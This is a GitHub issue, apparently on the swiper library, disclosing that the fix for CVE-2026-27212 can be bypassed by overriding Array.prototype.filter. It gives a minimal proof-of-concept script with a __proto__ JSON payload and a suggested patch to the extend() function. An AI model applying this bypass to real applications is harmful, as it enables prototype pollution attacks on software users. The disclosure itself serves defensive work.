Skip to content

Incomplete Fix for CVE-2026-27212 #8189

@N1rv0us

Description

@N1rv0us

While investigating the impact of CVE-2026-27212 on my project, I discovered that the fix for CVE-2026-27212 is likely incomplete.

Summary

The fix for CVE-2026-27212 (commit d3e6633) replaced Array.prototype.indexOf with strict equality operators (!==) to prevent prototype pollution bypass. However, the filtering logic still relies on Array.prototype.filter, which is equally overridable. By overriding Array.prototype.filter instead of Array.prototype.indexOf, an attacker can bypass the CVE-2026-27212 fix and achieve prototype pollution on all versions up to and including the latest release (12.1.4).

Details

Background: CVE-2026-27212 and Its Fix

CVE-2026-27212 identified that the extend() function in src/shared/utils.mjs was vulnerable to prototype pollution. The original mitigation used an array-based blocklist:

// Vulnerable code (pre-12.1.2)
const noExtend = ['__proto__', 'constructor', 'prototype'];
const keysArray = Object.keys(Object(nextSource)).filter(
  (key) => noExtend.indexOf(key) < 0
);

The CVE demonstrated that overriding Array.prototype.indexOf = () => -1 caused the blocklist check to always pass, allowing __proto__ through. The fix in 12.1.2 replaced indexOf with direct string comparisons:

// Current code (12.1.2+, including 12.1.4) — shared/utils.mjs line 93
const keysArray = Object.keys(Object(nextSource)).filter(
  key => key !== '__proto__' && key !== 'constructor' && key !== 'prototype'
);

The Incomplete Fix

While the !== operators themselves are language-level and cannot be overridden, the Array.prototype.filter method that invokes the callback is equally overridable as the indexOf that was patched. This is the same class of vulnerability — relying on a prototype method for security-critical filtering.

If Array.prototype.filter is overridden to return the input array without executing the callback:

Array.prototype.filter = function() { return this; };

Then the !== checks inside the callback are never executed, and __proto__ passes through unfiltered, resulting in prototype pollution.

Root Cause

The root cause is the same as CVE-2026-27212: the security-critical key filtering depends on an overridable prototype method. The fix addressed the specific method (indexOf) but not the underlying pattern. The execution chain has three components:

Component Type Overridable?
Object.keys() Static method on Object Yes, but requires direct property assignment — not via prototype pollution
.filter() Array.prototype.filter Yes — same mechanism as the original indexOf bypass
key !== '__proto__' !== operator No — language built-in, cannot be overridden

Proof of Concept

This PoC demonstrates the bypass on swiper@12.1.4. It is intentionally minimal and non-destructive — it only sets a benign polluted property and cleans up afterward.

// PoC: filter bypass on swiper >= 12.1.2 (tested on 12.1.4)
// Run: npm install swiper@12.1.4 && node poc.js

const swiper = require('swiper');

// Step 1: Verify no pollution exists
console.log('Before:', {}.polluted); // undefined

// Step 2: Override Array.prototype.filter (same pattern as CVE-2026-27212's indexOf override)
const originalFilter = Array.prototype.filter;
Array.prototype.filter = function () { return this; };

// Step 3: Trigger extend() with a crafted payload
swiper.default.extendDefaults(JSON.parse('{"__proto__":{"polluted":"yes"}}'));

// Step 4: Check if pollution occurred
console.log('After:', {}.polluted); // "yes" — prototype pollution successful

// Step 5: Cleanup
Array.prototype.filter = originalFilter;
delete Object.prototype.polluted;

Suggested Fix

Replace the Array.prototype.filter call with an inline loop using only language operators for the key check. This eliminates all overridable prototype method dependencies from the filtering logic:

--- a/src/shared/utils.mjs
+++ b/src/shared/utils.mjs
@@ -88,9 +88,12 @@ function extend(...args) {
   const to = Object(args[0]);
   for (let i = 1; i < args.length; i += 1) {
     const nextSource = args[i];
     if (nextSource !== undefined && nextSource !== null && !isNode(nextSource)) {
-      const keysArray = Object.keys(Object(nextSource)).filter(
-        key => key !== '__proto__' && key !== 'constructor' && key !== 'prototype'
-      );
-      for (let nextIndex = 0, len = keysArray.length; nextIndex < len; nextIndex += 1) {
-        const nextKey = keysArray[nextIndex];
+      const allKeys = Object.keys(Object(nextSource));
+      for (let nextIndex = 0, len = allKeys.length; nextIndex < len; nextIndex += 1) {
+        const nextKey = allKeys[nextIndex];
+        if (nextKey === '__proto__' || nextKey === 'constructor' || nextKey === 'prototype') {
+          continue;
+        }
         const desc = Object.getOwnPropertyDescriptor(nextSource, nextKey);

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions